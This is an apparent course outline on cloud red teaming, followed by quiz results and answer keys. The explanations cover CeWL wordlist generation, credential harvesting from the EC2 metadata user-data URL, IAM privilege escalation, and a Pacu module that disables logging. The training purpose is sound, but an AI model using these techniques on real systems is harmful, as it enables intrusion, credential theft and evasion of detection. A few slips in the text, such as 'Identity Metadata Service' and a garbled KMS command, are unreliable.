**Red Team Ops in the Cloud**

1. Red Team Ops in the Cloud ––––––––––––––––––––––––––Page 4
2. Why Discuss Red Team? ––––––––––––––––––––––––––––Page 5
3. Red Team and the Cloud ––––––––––––––––––––––––––––Page 6
4. Difficulty in Blocking Cloud Service Providers –––––––––– Page 7
5. Leverage CSP Networking Options ––––––––––––––––––––Page 8
6. ProxyCannon-NG ––––––––––––––––––––––––––––––––––Page 9
7. Data Pivoting Options –––––––––––––––––––––––––––––– Page 10
8. AWS Cross-Account Copies ––––––––––––––––––––––––– Page 11
9. Attacker Account IAM Permissions ––––––––––––––––––––Page 12
10. Exfiltration between Buckets ––––––––––––––––––––––––– Page 13
11. Azure Cross-Account Copies ––––––––––––––––––––––––– Page 14
12. Smuggling with Enterprise Tools –––––––––––––––––––––– Page 15
13. Microsoft OneDrive –––––––––––––––––––––––––––––––– Page 16
14. Snaffpoint –––––––––––––––––––––––––––––––––––––––– Page 17

**Obfuscation in the Cloud**

1. Obfuscation of C2 Infrastructure –––––––––––––––––––––––Page 19
2. Finding Valid Domains with Domain Hunter ––––––––––––– Page 20
3. Domain Hunter Syntax ––––––––––––––––––––––––––– Page 21
4. Buying Good Web Properties: Flippa –––––––––––––––– Page 22
5. Domain Fronting –––––––––––––––––––––––––––––––– Page 23
6. Domain Fronting Visualized ––––––––––––––––––––––– Page 24
7. Domain Fronting Methodology ––––––––––––––––––––– Page 25
8. Metasploit and Valid Cryptography –––––––––––––––––– Page 26
9. Using Valid Certificates in Metasploit –––––––––––––––– Page 27

**Intro to Containers**

1. Containers and Infrastructure (1) ––––––––––––––––––––Page 29
2. Intro to Containers ––––––––––––––––––––––––––––––– Page 30
3. Containers vs. VMs: VMs ––––––––––––––––––––––––––Page 31
4. Containers vs. VMs: Containers ––––––––––––––––––––– Page 32
5. Containers vs. VMs: WASM+WASI ––––––––––––––––––Page 33
6. Containers vs. VMs: Unikernel –––––––––––––––––––––– Page 34
7. Containers and Infrastructure (2) ––––––––––––––––––––– Page 35
8. Software Packaging ––––––––––––––––––––––––––––––– Page 36
9. How Do Containers Work? ––––––––––––––––––––––––– Page 37
10. Linux Containers Architecture –––––––––––––––––––––––Page 38
11. How to Run Containers Natively –––––––––––––––––––––Page 39

**Docker**

1. Docker Introduction –––––––––––––––––––––––––––––––– Page 41
2. Docker Desktop Example –––––––––––––––––––––––––––– Page 42
3. Docker CLI ––––––––––––––––––––––––––––––––––––––– Page 43
4. Dockerfile –––––––––––––––––––––––––––––––––––––––– Page 44
5. Docker and Overlay2 ––––––––––––––––––––––––––––––––Page 45
6. Container Cross-Communication –––––––––––––––––––––––Page 46
7. Docker Networking ––––––––––––––––––––––––––––––––– Page 47
8. Container Networking ––––––––––––––––––––––––––––––– Page 48
9. Microservices and Cloud-Native Applications –––––––––––––Page 49

**Docker Vulnerabilities**

1. Docker Vulnerabilities ––––––––––––––––––––––––––––––– Page 52
2. Docker Capabilities ––––––––––––––––––––––––––––––––––Page 53
3. Docker.sock ––––––––––––––––––––––––––––––––––––––––Page 54
4. Abusing Docker.sock –––––––––––––––––––––––––––––––––Page 55
5. Hardening Containers –––––––––––––––––––––––––––––––– Page 56

**Kubernetes**

1. Kubernetes –––––––––––––––––––––––––––––––––––––––––Page 59
2. Kubernetes Architecture (I) ––––––––––––––––––––––––––––Page 60
   1. Automated rollout and rollback
   2. Horizontal Scalling
   3. Self-Healing
   4. Secrets configuration and management
   5. RBAC permissions model
3. Kubernetes Architecture (2) ––––––––––––––––––––––––––––Page 61
   1. Kube API Server
   2. Etcd
   3. Kube-Scheduler
4. Kubernetes Nodes ––––––––––––––––––––––––––––––––––––Page 62
   1. Kubelet
   2. kube-proxy
   3. Containers
5. Kubernetes Architecture (3) ––––––––––––––––––––––––––––Page 63
6. Tooling in Kubernetes –––––––––––––––––––––––––––––––– Page 64
7. Attacker's View of the Kubernetes –––––––––––––––––––––––Page 65
8. Types of Deployments –––––––––––––––––––––––––––––––– Page 66
   1. Completely Cloud Managed
   2. Turkey Commercially Supported
   3. On-Premises
   4. Custom
9. Kubernetes Control Plane ––––––––––––––––––––––––––––––Page 67
   1. Kubeadm
   2. Kubectl
   3. Kubelet
10. RBAC ––––––––––––––––––––––––––––––––––––––––––––– Page 68
11. Pods –––––––––––––––––––––––––––––––––––––––––––––––Page 69
12. Privileged Pods –––––––––––––––––––––––––––––––––––––– Page 70
13. Keeping Secrets in Kubernetes –––––––––––––––––––––––––– Page 72
14. Tesla Example –––––––––––––––––––––––––––––––––––––––Page 73
15. Kubeflow Dashboard ––––––––––––––––––––––––––––––––––Page 74
16. Kubernetes Authorization Example –––––––––––––––––––––––Page 75
17. RBAC Example –––––––––––––––––––––––––––––––––––––– Page 76
18. Namespaces ––––––––––––––––––––––––––––––––––––––––– Page 78
19. Network Attacks ––––––––––––––––––––––––––––––––––––––Page 79
20. Vulnerability Hunting in Kubernetes –––––––––––––––––––––– Page 80
21. Kubernetes and ScoutSuite ––––––––––––––––––––––––––––––Page 81
22. Automated Attack with Peirates ––––––––––––––––––––––––––Page 82
23. Peirates Options –––––––––––––––––––––––––––––––––––––– Page 83

**Backdooring Containers**

1. Implanting Backdoors in Containers –––––––––––––––––––––– Page 86
2. Kubernetes and Payloads ––––––––––––––––––––––––––––––– Page 87
3. Backdoor Container Workflow –––––––––––––––––––––––––––Page 88
4. Choosing Deployments in Kubernetes ––––––––––––––––––––– Page 89
   1. Deployments
   2. StatefulSets
   3. DaemonSets
5. Example Deployment .yaml ––––––––––––––––––––––––––––––Page 90

**Book 2 Quiz**

Question 1 of 20Correct

An organization is configuring its Azure AD and determining the correct Global Structure. While its on-prem setup uses domains and forests, what equivalent structure would be used within Microsoft Entra ID?

correct answer: Tenants. selected

Responses

* Tenants

Tenants - correct

* JumpCloud

JumpCloud - no response given

* SAML

SAML - no response given

* Blocks

Blocks - no response given

**Explanation**

The on-prem Global Structure of Active Directory organizes in forests and then in domains. Multiple domains can be in a single forest and trusts can occur between forests. In Entra ID, there is no longer a forest/domain structure. Instead, Entra ID utilizes a tenant/subscription model. Tenants are the equivalent to domains and forests. -- Book 2 Page 86

Question 2 of 20Correct

A user wants to configure the region to which the AWS CLI will default. Which of the following files should they edit?

correct answer: /home/user/.aws/config. selected

Responses

* /home/user/.aws/credentials

/home/user/.aws/credentials - no response given

* /home/user/.aws/config

/home/user/.aws/config - correct

* /home/user/.aws/region

/home/user/.aws/region - no response given

* /home/.aws/config

/home/.aws/config - no response given

**Explanation**

The /home/user/.aws/config file controls how the AWS CLI will operate, including to which region it will default. -- Book 2 Page 137

Question 3 of 20Correct

Which of the following AWS Identity and Access Management policies is a temporary policy granted programmatically and only valid for the current active state?

correct answer: Session policy. selected

Responses

* Service control policy

Service control policy - no response given

* Session policy

Session policy - correct

* Resource policy

Resource policy - no response given

* Permission policy

Permission policy - no response given

**Explanation**

There are several IAM Policies that can be leveraged in AWS, allowing for both flexibility and confusion. A session policy is a temporary policy that is used by an AWS resource while it is running. Since all permissions are tied to AWS keys, a session policy tied to a specific AWS key can lead to a scenario in which an attacker or resource has a larger than expected access identity. -- Book 2 Page 72

Question 4 of 20Incorrect

Which component of OAuth 2.0 has a short life-time (typically an hour) and needs to be regularly renewed?

incorrect answer: Refresh token. selected

Responses

* Refresh token

Refresh token - incorrect

* Authorization grant

Authorization grant - no response given

* Renewable grant

Renewable grant - no response given

* Access token

Access token - no response given

**Explanation**

The access token is a short-lived token that provides authorization between the resource and the client. With this token, the consumer can consistently log you in. The refresh token is used to generate a new access token when it expires. The refresh token may last for weeks and should only be sent to the identity provider (IdP) and never to the third party. The authorization grant is a temporary value that is exchanged for an access token. Renewable grant is not a common term used in OAuth2.0 authentication. -- Book 2 Page 9

Question 5 of 20Correct

Which Amazon service provides the equivalent of Azure Virtual Machines?

correct answer: Elastic Compute Cloud (EC2). selected

Responses

* lastic Kubernetes Service

lastic Kubernetes Service - no response given

* Elastic Compute Cloud (EC2)

Elastic Compute Cloud (EC2) - correct

* Virtual Private Cloud

Virtual Private Cloud - no response given

* Lambda

Lambda - no response given

**Explanation**

Amazon, Microsoft, and Google mostly have feature parity across the types of services they offer. Amazon AWS and Azure have comparable, but slightly different, architectures for each service. For the Azure Virtual Machines, they are called AWS Elastic Compute Cloud (EC2) instances, but have many similar features in each Cloud Service Provider (CSP). -- Book 2 Page 83

Question 6 of 20Correct

Which of the following reconnaissance tools could a red team use to create a list of a target’s potential passwords and e-mail addresses?

correct answer: CeWL. selected

Responses

* The Harvester

The Harvester - no response given

* Burpsuite

Burpsuite - no response given

* CeWL

CeWL - correct

* John the Ripper

John the Ripper - no response given

**Explanation**

CeWL, the Custom WordList Generator, is a tool created by Robin Wood (Dijininja) and downloadable on GitHub.  
  
CeWL allows you to create a Custom WordList generation by spidering a target website, flattening each word into a line, and placing these words into a file.  
  
To run CeWL, capture email addresses and words greater than or equal to eight letters and save the output to a file named wordlist.txt:  
  
$ cewl.rb -m 8 -e http://target.org -w /tmp/wordlist.txt -- Book 2 Page 41

Question 7 of 20Correct

Which authentication information exchange standard provides the capability to transmit single sign-on information from an identity provider to a third-party application?

correct answer: SAML. selected

Responses

* JWT

JWT - no response given

* Bearer tokens

Bearer tokens - no response given

* SAML

SAML - correct

* OpenID Connect

OpenID Connect - no response given

**Explanation**

The Security Assertion Markup Language (SAML) is an open standard that was created by the OASIS group. It loosely looks like an XML SOAP message. SAML 2.0 is the latest version of the standard and was ratified in 2005. SAML provides users the capability to transmit single sign-on (SSO) information from an IdP to a third-party application in a trusted and secured way. SAML message formats are not the only mechanism to provide for Federated SSO, but it is largely used in many enterprise systems. It is the foundational technology for Azure AD and is also a foundational technology in many SSL VPNs and other enterprise systems. -- Book 2 Page 19

Question 8 of 20Correct

What type of password attack leverages usernames and passwords in their pairs as found in the wild?

correct answer: Credential stuffing. selected

Responses

* Credential stuffing

Credential stuffing - correct

* Brute-force attack

Brute-force attack - no response given

* Password spraying

Password spraying - no response given

* Dictionary attack

Dictionary attack - no response given

**Explanation**

What if you already "knew" what usernames and password combinations went together? If users reuse their passwords across systems, their passwords could have already leaked in a breach. Credential stuffing is a very useful password cracking approach, as you are assured that at least at some point in time and for some amount of time, the users in question used the passwords attempted—maybe not on the system you are attempting to check, and maybe it has been changed since, but it may give you a starting point. -- Book 2 Page 53

Question 9 of 20Correct

In AWS, what type of storage is the disk storage environment?

correct answer: Elastic Block Storage (EBS). selected

Responses

* Elastic File Storage (EFS)

Elastic File Storage (EFS) - no response given

* Object Storage (Blobs)

Object Storage (Blobs) - no response given

* Elastic Block Storage (EBS)

Elastic Block Storage (EBS) - correct

* Files Shares (Files)

Files Shares (Files) - no response given

**Explanation**

Several types of file storage exist in the different cloud environments. In AWS, the following are supported:  
  
- AWS S3: an Object Storage Environment, one of the original environments  
- EBS: the AWS Disk Storage environment designed to hold standard EC2 Disks  
- EFS: an NFS equivalent intended to be a drop-in replacement for NFS  
- High-Performance Storage: a NetApp File with full iSCSI Support  
  
EBS is the storage type that is disk storage. -- Book 2 Page 121

Question 10 of 20Correct

What is the minimum constraint level that can be used to grant a Microsoft account read/write permission through the Microsoft Graph API to OneDrive?

correct answer: AppFolder. selected

Responses

* Shared

Shared - no response given

* All

All - no response given

* AppFolder

AppFolder - correct

* NoConstraints

NoConstraints - no response given

**Explanation**

AppFolder grants read/write access to files and folders in OneDrive; this is the only support for Microsoft accounts. -- Book 2 Page 111

Question 11 of 20Correct

An attacker has discovered an open Azure Blob storage resource during reconnaissance. What tool can be used to enumerate this Azure Blob?

correct answer: cloud\_enum. selected

Responses

* ZDiscover

ZDiscover - no response given

* Gobuster

Gobuster - no response given

* CloudStorageFinder

CloudStorageFinder - no response given

* cloud\_enum

cloud\_enum - correct

**Explanation**

Azure Blob storage uses an SMB-like architecture which requires more configuration than an Amazon S3 bucket. Azure Blobs has a storage account that is needed. The storage accounts act as the servers do within a standard windows file system. Azure Blobs requires you to name containers. Very few tools exist to enumerate Azure Blobs. One tool that does this task is from initstring; it is a collection of multiple checks, one of which is cloud\_enum. -- Book 2 Page 131

Question 12 of 20Correct

When referencing an OAuth 2.0 enabled application, which component describes the end-user?

correct answer: Resource owner. selected

Responses

* Resource owner

Resource owner - correct

* User

User - no response given

* Client

Client - no response given

* Resource consumer

Resource consumer - no response given

**Explanation**

In the OAuth 2.0 standard, there are several components that you need to understand to D\discover vulnerabilities and communicate issues with customers.  
Resource owner: You own the resource, your identity. Your identity is the resource in this protocol.  
Client: A client is an application you are trying to use. Office365 would be the client. Once the Entra ID system provides an access token to you, it will be sent to the client for authorization.  
Authorization server: This is the server that provides authorization to the client.  
Resource server: This is where the resources you are trying to access live. Microsoft has Entra ID but its resource servers (where the resources are) will be Microsoft Graph, Office365, or Azure resource manager. In OAuth 1.0, you could not specify which resource you wanted to access, you had it all; here you can in OAuth 2.0. -- Book 2 Page 10

Question 13 of 20Correct

What Entra ID Administrator role can add new services and subscriptions but cannot add or remove other roles?

correct answer: Billing Administrator. selected

Responses

* User Administrator

User Administrator - no response given

* Billing Administrator

Billing Administrator - correct

* Union Administrator

Union Administrator - no response given

* Global Administrator

Global Administrator - no response given

**Explanation**

Entra ID itself has elevated access permissions that are deemed "special" to the system. These default roles in Entra ID need to be treated with caution and are the equivalent of "Domain Admin" or "Enterprise Admin" in many organizations.  
  
One of these roles is Billing Administrator. The Billing Administrator can add new services and subscriptions but cannot add or remove roles. It is for accounting purposes primarily. -- Book 2 Page 101

Question 14 of 20Incorrect

FIDO2 and WebAuthn systems are examples of what type of modern authentication types?

incorrect answer: Two-Factor (2FA). selected

Responses

* RSN Keys

RSN Keys - no response given

* Passwordless

Passwordless - no response given

* Two-Factor (2FA)

Two-Factor (2FA) - incorrect

* CAPTCHAs

CAPTCHAs - no response given

**Explanation**

Authentication types have evolved over time. Modern systems have given rise to the concept of passwordless authentication schemes. For example, FIDObased logins are supported in Azure AD and Linux systems with Azure AD PAM Modules. Web systems are also providing WebAuthn-based authentications. The WebAuthn authentications allow for a widely adopted specification that allows login of websites through different types of biometric authentication. The idea is to remove the weakest link—the password. -- Book 2 Page 28

Question 15 of 20Incorrect

What term identifies an individual user in Amazon Web Services?

incorrect answer: Account. selected

Responses

* Account

Account - incorrect

* Principal

Principal - no response given

* Identity

Identity - no response given

* Persona

Persona - no response given

**Explanation**

In most environments, you would use the word "account" to mean the individual user accounts that appear in a system. In Windows, you have the "administrator account." In Linux, you have the "root account." In AWS, the word account is used to discuss the individual tenants in the environment. For example, your AWS identity, or the root user, would live in an AWS account that belongs to an AWS organization. -- Book 2 Page 64

Question 16 of 20Correct

Which of the following is a tool popular for its ability to extract or manipulate specific JSON output from AWS CLI commands?

correct answer: jq. selected

Responses

* grep

grep - no response given

* sed

sed - no response given

* jq

jq - correct

* awk

awk - no response given

**Explanation**

The AWS CLI (along with other software development kits like Azure and Google Cloud) features multiple output options. JSON output is the default and will output JSON arrays for each of the request outputs asked for. jq is a command-line tool that has become popular for its ability to manipulate JSON as if it were being run through a tool like grep. This tool is very handy as it can parse JSON arrays with the ability to search through the data looking for values, only display values for specific query types, and pass values and keys through a pipe operator in much the same way that many of the bash tools operate today. jq is billed as a lightweight and flexible command-line JSON processor, and, given its simplicity in installation, this is an accurate description. -- Book 2 Page 145

Question 17 of 20Correct

In an AWS environment, there are two users, Bob and John. Through identity policies, Bob has explicit read access to an S3 bucket, Bucket-1, while John does not have explicit access configured. The resource policy configured on Bucket-1 grants read access to both Bob and John. What are the final permissions for Bob and John on Bucket-1?

correct answer: Both users are granted read access.. selected

Responses

* Both users are denied access.

Both users are denied access. - no response given

* Both users are granted read access.

Both users are granted read access. - correct

* Bob has read access, and John is denied access.

Bob has read access, and John is denied access. - no response given

* John has read access, and Bob is denied access.

John has read access, and Bob is denied access. - no response given

**Explanation**

One of the more common misunderstandings in the policy model concerns who is providing or granting access to what service or role. Resource policies, if they are supported on a service, can grant a user or a group that does not have explicit access to a resource that access. S3 is one of the original AWS services that was designed. S3 can take a user or role and grant it permissions to a bucket. This is typically called Cross-Account services in which resources from different accounts are able to access resources in a given account. -- Book 2 Page 76

Question 18 of 20Correct

A security analyst performs a log file audit and discovers a high volume of single failed logon attempts occurring twice a month. The attacker paired blocks of account names with a single password, waiting for the failed logon message. Two weeks after the account was reset, a second attempt was made with a different password. Which of the following describes this behavior?

correct answer: Password spraying attack. selected

Responses

* Password spraying attack

Password spraying attack - correct

* Brute-force password attack

Brute-force password attack - no response given

* Password dictionary attack

Password dictionary attack - no response given

* Credential stuffing attack

Credential stuffing attack - no response given

**Explanation**

A password spraying attack is when you take many potential usernames and a small number of passwords that are commonly used. An attempt is made to take those usernames and a single password and work through each user, incrementing their bad password count by one. Once that bad password count is reset, a second attempt is made. -- Book 2 Page 50

Question 19 of 20Correct

What type of credential does the following string represent??  
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI 6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6y JV\_adQssw5c

correct answer: JSON web token. selected

Responses

* JSON web token

JSON web token - correct

* PHP session token

PHP session token - no response given

* NTLM hash

NTLM hash - no response given

* Basic auth

Basic auth - no response given

**Explanation**

JSON web tokens (JWT) are described in RFC7519 and contain three sections: a header, the body, and the integrity-checking signature. Each section is separated by a "." and will typically start with "eyJ". The messages are not encrypted, they are just encoded. If Transport Layer Security (TLS) was captured, the HTTP traffic would be hidden within the TLS payload. Base-64 does not use ".” or "\_". The uuencode format includes header and foot information that is not included in this capture. -- Book 2 Page 13

**Question**

Question 20 of 20Correct

From an attacker’s point of view, what Microsoft API can be used to obtain data and collect information about a victim’s organization?

correct answer: Graph. selected

Responses

* Sever

Sever - no response given

* Trace

Trace - no response given

* Connect

Connect - no response given

* Graph

Graph - correct

**Explanation**

Microsoft has created a singular universal API for all its services. The Microsoft Graph API is a universal API that allows developers to interact with all parts of the Microsoft system. From an attacker's point of view, Microsoft Graph is an API that can be used to obtain data and collect information about a victim organization and targets. Using this API, an attacker granted enough rights can data-mine information without being physically present in an organization. -- Book 2 Page 110

**Book 3 QUIZ**

Question 1 of 20Correct

What is the disk format used by the Azure Virtual Machines?

correct answer: VHD. selected

Responses

* VDI

VDI - no response given

* VHDX

VHDX - no response given

* VMDK

VMDK - no response given

* VHD

VHD - correct

**Explanation**

The systems are loosely designed on Hyper-V–based virtual machines and have the virtual hard disk (VHD) format. -- Book 3 Page 78

Question 2 of 20Correct

Which tool from the NCC group can be used to determine the configuration of cloud environments based on the output from scanning a target cloud environment?

correct answer: ScoutSuite. selected

Responses

* ScoutSuite

ScoutSuite - correct

* CloudWatch

CloudWatch - no response given

* ScanSuite

ScanSuite - no response given

* CloudFox

CloudFox - no response given

**Explanation**

ScoutSuite is a tool from NCC-Group that is available on GitHub. It uses a rules engine to take the "best practices" from the individual cloud providers and check the configuration that you have against it.  
ScoutSuite helps to determine the configuration of cloud environments based on output, but can have false positives. -- Book 3 Page 6

Question 3 of 20Correct

An attacker wants to perform a penetration test using a multipurpose redirector and tunnel plaintext connection to an SSL endpoint and vice versa. Which of the following supports this effort?

correct answer: Socat. selected

Responses

* Ndiff

Ndiff - no response given

* Socat

Socat - correct

* Netsh

Netsh - no response given

* CryptCat

CryptCat - no response given

**Explanation**

Socat, or SOcket CAT, is a very powerful utility for transferring data between two hosts. Socat can transmit SSL, files, pipes, and a number of other things. It also can be used on a multithreaded system and is a multipurpose relay. It establishes two bidirectional byte streams and transfers data between them. Socat has a rather unique syntax to turn off debugging messages as well as to transmit the data between systems. -- Book 3 Page 49

Question 4 of 20Incorrect

When running an internal enumeration with CloudFox, which output directory can provide additional commands to further investigate the systems?

incorrect answer: cloudfox-output. selected

Responses

* loot

loot - no response given

* data

data - no response given

* cloudfox-output

cloudfox-output - incorrect

* all

all - no response given

**Explanation**

Located within the "cloudfox-output" folder, there is a loot folder. The loot folder is interesting in that the CloudFox tool takes the enumerated items and builds out command sets to help further exploitation.  
The loot folder will also have other novel items, such as running Nmap from the command line to scan internet-facing machines. It takes the ENI's public IP addresses and the allowed inbound security groups, and places them into a Nmap command. -- Book 3 Page 12

Question 5 of 20Correct

What is the data format of the Custom Script Extension used to execute code in Azure Virtual Machines?

correct answer: JSON. selected

Responses

* XML

XML - no response given

* PHP

PHP - no response given

* JavaScript

JavaScript - no response given

* JSON

JSON - correct

**Explanation**

Custom Script Extension (CSE) uses the JSON format and is typically hosted on an Azure file blob that can be accessed from the target virtual machine (VM). -- Book 3 Page 86

Question 6 of 20Correct

What is the term for when AWS allows the assumption of a role that grants unexpected IAM permissions?

correct answer: Confused deputy. selected

Responses

* Confused deputy

Confused deputy - correct

* AssumeRole

AssumeRole - no response given

* IAM abuse

IAM abuse - no response given

* SourceARN bypass

SourceARN bypass - no response given

**Explanation**

In much of the AWS documentation, you may notice the concept of "confused deputy under the security section." This is not a very commonly used term in the industry and may cause confusion. Confused deputy attacks are misunderstood. What is a confused deputy attack? Due to the architecture of AWS and how roles can be assumed across accounts, this attack pattern is quite common. The issue typically stems from the AWS service, in this case being the "deputy," not understanding that the permissions granted can allow a third party that is not supposed to use AssumeRole, to assume the role -- Book 3 Page 70

Question 7 of 20Correct

Which C2 framework supports forwarding traffic through a SOCKS5 proxy?

correct answer: Sliver. selected

Responses

* Socat

Socat - no response given

* CloudFox

CloudFox - no response given

* Pacu

Pacu - no response given

* Sliver

Sliver - correct

**Explanation**

Sliver supports SOCKS5 proxies to tunnel traffic through an implant. -- Book 3 Page 61

Question 8 of 20Correct

When running ScoutSuite against a Google cloud environment, what authentication method must be used?

correct answer: Access credential. selected

Responses

* Browser authentication

Browser authentication - no response given

* Access credential

Access credential - correct

* Username and password

Username and password - no response given

* Credentials file

Credentials file - no response given

**Explanation**

ScoutSuite can be run locally by using either Python or the built-in tooling from Python called "scout." Depending on the cloud environment you are in, you will need to authenticate to the environment in either one of several ways or a very specific way.In Google you must log in with the application-login feature using an access credential. -- Book 3 Page 7

Question 9 of 20Correct

A penetration tester wants to pass and attach a higher privilege role to a service to launch a privilege escalation attack on the AWS environment of an organization. Which of the following permissions is required to perform this attack?

correct answer: IAM:PassRole. selected

Responses

* IAM:GetRole

IAM:GetRole - no response given

* IAM:NewRole

IAM:NewRole - no response given

* IAM:ChangeRole

IAM:ChangeRole - no response given

* IAM:PassRole

IAM:PassRole - correct

**Explanation**

When creating services or systems in AWS, there may be a need to attach a service policy or a resource policy to a resource. To perform this action, the user needs to have a specific IAM policy applied to them. This role is known as PassRole. -- Book 3 Page 21

Question 10 of 20Incorrect

A penetration tester has identified a user for which they want to revert to an earlier version of IAM policy in an AWS environment. What rights are required to be able to perform this activity?

incorrect answer: RollOver policy. selected

Responses

* Set policy

Set policy - no response given

* SetDefault policy

SetDefault policy - no response given

* Revert policy

Revert policy - no response given

* RollOver policy

RollOver policy - incorrect

**Explanation**

If the user has the IAM permissions to "SetDefault" policy, they can revert or change to a previous or newer build with more permissions. -- Book 3 Page 20

Question 11 of 20Correct

Which of the following Go-based internal enumeration tools is command line only?

correct answer: CloudFox. selected

Responses

* ScoutSuite

ScoutSuite - no response given

* Loot

Loot - no response given

* Deputy

Deputy - no response given

* CloudFox

CloudFox - correct

**Explanation**

CloudFox is a Go-based command-line utility with no requirement for a web browser, like ScoutSuite. Because of this, it can be more useful as a penetration testing augmentation tool than a vulnerability scanner. -- Book 3 Page 10

Question 12 of 20Correct

Which Windows remote management tool, commonly seen running on port 5985, can be used to manage Windows?

correct answer: Unencrypted WinRM via HTTP. selected

Responses

* Azure CSE in unauthenticated mode

Azure CSE in unauthenticated mode - no response given

* Unencrypted WinRM via HTTP

Unencrypted WinRM via HTTP - correct

* MMC in unauthenticated mode

MMC in unauthenticated mode - no response given

* Unencrypted Windows Admin Center via HTTP

Unencrypted Windows Admin Center via HTTP - no response given

**Explanation**

One would expect to see WinRM via HTTP, which is not encrypted. Windows Admin Center runs on port 443 or 6516, depending on the OS, and the communications are encrypted. Custom Script Extension (CSE) is used to execute commands on a target host, and MMC uses the default Windows management ports. -- Book 3 Page 91

Question 13 of 20Correct

Which of the following in-built utilities requires setting up the OS as a router and can be configured to redirect inbound ports to a specific destination port using Network Address Translation (NAT)?

correct answer: Iptables. selected

Responses

* Netsh

Netsh - no response given

* Ufw

Ufw - no response given

* Apache

Apache - no response given

* Iptables

Iptables - correct

**Explanation**

Linux has two options for redirections: iptables and its less widely used successor, nftables. Iptables can be configured to redirect inbound ports to a specific destination port using Network Address Translation (NAT). To make this possible, there are a few options that you need to enable, including turning on the kernel's IP forwarding capability by using sysctl for a temporary solution or permanently modifying it using the sysctl.conf file. -- Book 3 Page 55

Question 14 of 20Incorrect

Which of the following Pacu recon modules can be run without valid credentials?

incorrect answer: iam\_\_bruteforce\_permissions. selected

Responses

* iam\_\_bruteforce\_permissions

iam\_\_bruteforce\_permissions - incorrect

* aws\_\_enum\_account

aws\_\_enum\_account - no response given

* iam\_\_enum\_users\_roles\_policies\_groups

iam\_\_enum\_users\_roles\_policies\_groups - no response given

* iam\_\_enum\_users

iam\_\_enum\_users - no response given

**Explanation**

There are only three unauthenticated modules in Pacu:  
  
- s3\_\_bucket\_finder for public buckets  
- iam\_\_enum\_users tries to perform AssumeRole policy to look for users  
- Iam\_\_enum\_roles tries to perform AssumeRole policy to look for roles -- Book 3 Page 42

Question 15 of 20Correct

An attacker wants to reduce the level of logging configured in the AWS environment to evade detection. Which Pacu module can the attacker use to perform this attack?

correct answer: detection\_\_disruption. selected

Responses

* guardduty\_disruption

guardduty\_disruption - no response given

* detection\_\_disruption

detection\_\_disruption - correct

* detection\_\_disable

detection\_\_disable - no response given

* guardduty\_\_whitelist\_ip

guardduty\_\_whitelist\_ip - no response given

**Explanation**

The module detection\_\_disruption will detect what logging configurations are available, such as VPC Flow Logs, CloudTrail, and CloudWatch. It will then disable these configurations or bring them down to their most basic level to eliminate logging. -- Book 3 Page 46

Question 16 of 20Correct

What allows you to masquerade as another role in AWS?

correct answer: AssumeRole. selected

Responses

* RoleDelegate

RoleDelegate - no response given

* RoleShare

RoleShare - no response given

* PassRole

PassRole - no response given

* AssumeRole

AssumeRole - correct

**Explanation**

AssumeRole in AWS allows a user to assume a role provided by the organization. It can be thought of as masquerading as a role. The weakness in this configuration is that anyone can assume the role if they know the Account ID and Rolename. The user is able to access the resource not as the user but as the Role. -- Book 3 Page 72

Question 17 of 20Correct

What is often used by a system administrator to insert scripts into a system for setting up a host in a cloud environment and can contain interesting information for an attacker?

correct answer: EC2 UserData. selected

Responses

* boot.ini

boot.ini - no response given

* SysloadAPI

SysloadAPI - no response given

* AWS Bucket

AWS Bucket - no response given

* EC2 UserData

EC2 UserData - correct

**Explanation**

EC2 UserData allows a system administrator to insert scripts into a system for setup of the host. This is used often to set up many servers and services in a compute environment. UserData is a treasure trove in that it can contain items like:  
  
- Servers to target in the environment  
- Configuration flags and items  
- Usernames and passwords  
- Key material -- Book 3 Page 35

Question 18 of 20Correct

While browsing the URL http://169.254.169.254/latest/user-data, an analyst identifies what appears to be password information. What does the existence of this URL indicate?

correct answer: EC2 UserData exists on the system.. selected

Responses

* EC2 UserData exists on the system.

EC2 UserData exists on the system. - correct

* The application is vulnerable to SQL injection attacks.

The application is vulnerable to SQL injection attacks. - no response given

* The system is not using any encryption to store user information.

The system is not using any encryption to store user information. - no response given

* Identity Metadata Service is disabled on the host.

Identity Metadata Service is disabled on the host. - no response given

**Explanation**

You can use the following format to query the Identity Metadata Service:  
  
http://<target>/latest/user-data  
  
This URL will contain UserData if it exists. If it does not exist, the query would return a 404. The scripts that are found sometimes contain passwords or other sensitive information. -- Book 3 Page 36

Question 19 of 20Correct

A penetration tester uses the iam\_\_bruteforce\_permissions module from Pacu to target an AWS environment. Which of the following activities will be performed by Pacu?

correct answer: Calling all AWS API services without explicit permissions in IAM to enumerate your permissions. selected

Responses

* Performing a password brute-force attack against the AWS root account

Performing a password brute-force attack against the AWS root account - no response given

* Calling all AWS API services without explicit permissions in IAM to enumerate your permissions

Calling all AWS API services without explicit permissions in IAM to enumerate your permissions - correct

* Running all the enumeration modules on AWS environment

Running all the enumeration modules on AWS environment - no response given

* Querying IAM and calling all AWS APIs listed as allow

Querying IAM and calling all AWS APIs listed as allow - no response given

**Explanation**

iam\_\_bruteforce\_permissions will attempt to directly call all AWS API services without querying IAM in an attempt to determine what potential rights the user currently has. -- Book 3 Page 43

**Question**

Question 20 of 20Correct

A user wants to encrypt a plaintext file using AWS KMS. Which of the following are mandatory arguments if the user wants to use AWS CLI to perform this activity?

correct answer: key-id, plaintext. selected

Responses

* encryption-algorithm, key-id

encryption-algorithm, key-id - no response given

* encryption-algorithm, timestamp

encryption-algorithm, timestamp - no response given

* key-id, timestamp

key-id, timestamp - no response given

* key-id, plaintext

key-id, plaintext - correct

**Explanation**

The following command takes a file that is plaintext; runs it through the system, outputting the ciphtertext blob of the output as text; Base64 decodes it; and then Base64 encodes it with each line being 76 characters in length. key-id and plaintext are required parameters to run this command:  
  
aws kms encrypt -key-id <KeyId> --plaintext fileb://my-plainfile-text --query CiphertextBob -output text | base64 -d | base64 -w 76 > ciphertext-data.txt -- Book 3 Page 67

**Book 4 QUIZ**

Question 1 of 20Correct

A security analyst is trying to exploit a command injection vulnerability in a web application. While the application seems vulnerable, they are not receiving a response on the screen from their command injection attempts. What is this called?

correct answer: Blind injection. selected

Responses

* Blind injection

Blind injection - correct

* Parameter tampering

Parameter tampering - no response given

* True negative

True negative - no response given

* Back-end processing

Back-end processing - no response given

**Explanation**

